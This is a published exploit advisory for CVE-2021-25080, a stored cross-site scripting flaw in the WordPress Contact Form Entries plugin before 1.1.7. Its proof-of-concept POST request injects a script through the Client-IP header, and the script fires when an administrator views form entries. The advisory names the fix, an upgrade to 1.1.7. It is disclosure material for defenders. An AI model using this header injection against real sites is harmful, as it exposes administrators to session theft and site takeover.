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WordPress Contact Form Entries 1.1.6 Cross Site Scripting

WordPress Contact Form Entries 1.1.6 Cross Site Scripting
Posted Jan 5, 2022
Authored by gx1

WordPress Contact Form Entries plugin version 1.1.6 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | bfd8efd2d31531f2150ae103f184dcba

WordPress Contact Form Entries 1.1.6 Cross Site Scripting

Change Mirror Download
# Exploit Title: WordPress Plugin Contact Form Entries 1.1.6 - Cross Site Scripting (XSS) (Unauthenticated) 
# Date: 22/12/2021
# Exploit Author: gx1 <gaetano.perrone[at]secsi.io>
# Vulnerability Discovery: Gaetano Perrone
# Vendor Homepage: https://www.crmperks.com/
# Software Link: https://wordpress.org/plugins/contact-form-entries/
# Version: < 1.1.7
# Tested on: any

# References:

* https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
* https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/

# Description:
Contact Form Entries < 1.1.7 is vulnerable to Unauthenticated Stored Cross-Site Scripting

# Technical Details and Exploitation:

CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field.
When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user:
===============================================================================================================
public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
==============================================================================================================
The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database.


# Proof Of Concept:

Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header
===============================================================================================================
POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1
Host: dsp.com:11080
Content-Length: 1411
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
Client-IP: <img src=a onerror=alert(1)>

------WebKitFormBoundaryCuNGXLnhRsdglEAx

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
...
===============================================================================================================
The request is acccepted, and the code navigates the section $_SERVER['HTTP_CLIENT_IP'] , ip is injected and saved inside the database.
When the administrator clicks on the entry element in the plugin, the XSS is triggered.


# Solution:
Upgrade Contact Form Entries to version 1.1.7
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